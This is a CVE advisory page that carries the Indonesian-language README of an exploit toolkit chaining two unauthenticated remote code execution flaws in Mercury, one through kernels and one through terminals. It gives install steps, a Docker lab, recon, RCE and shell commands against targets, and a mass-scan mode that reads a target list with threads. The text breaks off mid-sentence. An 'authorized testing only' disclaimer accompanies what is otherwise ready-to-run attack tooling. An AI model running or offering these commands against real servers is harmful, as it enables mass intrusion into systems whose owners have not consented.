Critical Severity
CVE-2026-111057
Published: Oct 27, 2026
Mercury unauth RCE combo: CVE-2026-111058 (kernels) + CVE-2026-111057 (terminals). By 0xNuts (@ExDev994). Authorized testing only.
# CVE-2026-111058+CVE-2026-111057-mercury-rce
Mercury unauth RCE combo toolkit (kernels + terminals).
Toolkit gabungan dua RCE unauthenticated pada [mljar/mercury](https://github.com/mljar/mercury):
| CVE | Advisory | Vector |
|-----|----------|--------|
| **CVE-2026-111058** | [GHSA-rv4m-xm3f-3ccq](https://github.com/advisories/GHSA-rv4m-xm3f-3ccq) | `/api/kernels` + `execute_request` |
| **CVE-2026-111057** | [GHSA-f8c7-rwf9-fmgm](https://github.com/advisories/GHSA-f8c7-rwf9-fmgm) | `/api/terminals` blocklist bypass |
**Author:** [0xNuts](https://github.com/ExDev994) (`ExDev994`)
**Hanya untuk pengujian yang diizinkan** (lab lokal / target dengan izin tertulis). Penyalahgunaan di sistem tanpa izin adalah ilegal.
## Cara menjalankan tools
### 1. Clone & install
```bash
# URL repo GitHub memakai `-` (GitHub tidak mengizinkan `+` di nama repo)
git clone https://github.com/ExDev994/CVE-2026-111058-CVE-2026-111057-mercury-rce.git
cd CVE-2026-111058-CVE-2026-111057-mercury-rce
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
```
### 2. Lab lokal (disarankan pertama kali)
```bash
python exploit.py --lab
```
Tunggu Docker selesai build, lalu:
| URL | CVE yang aktif |
|-----|----------------|
| http://localhost:8883 | CVE-2026-111057 + CVE-2026-111058 (Mercury 3.2.3) |
| http://localhost:8885 | CVE-2026-111058 saja (Mercury 3.2.5) |
### 3. Satu target
```bash
# Cek vuln (POST terminals + kernels)
python exploit.py -t http://localhost:8883 -m recon
# PoC RCE (default: kernel / CVE-2026-111058)
python exploit.py -t http://localhost:8883 -m rce
# Shell via terminal (CVE-2026-111057, hanya di 3.2.3 lab)
python exploit.py -t http://localhost:8883 -m rce --sink terminals
```
### 4. Mass scan dari file
Edit `targets.txt` (satu URL per baris), lalu:
```bash
python exploit.py -m mass -tf targets.txt -rf results.txt --threads 10
```
**Auto port (hanya mode `mass`):** kalau baris **tanpa port** (mi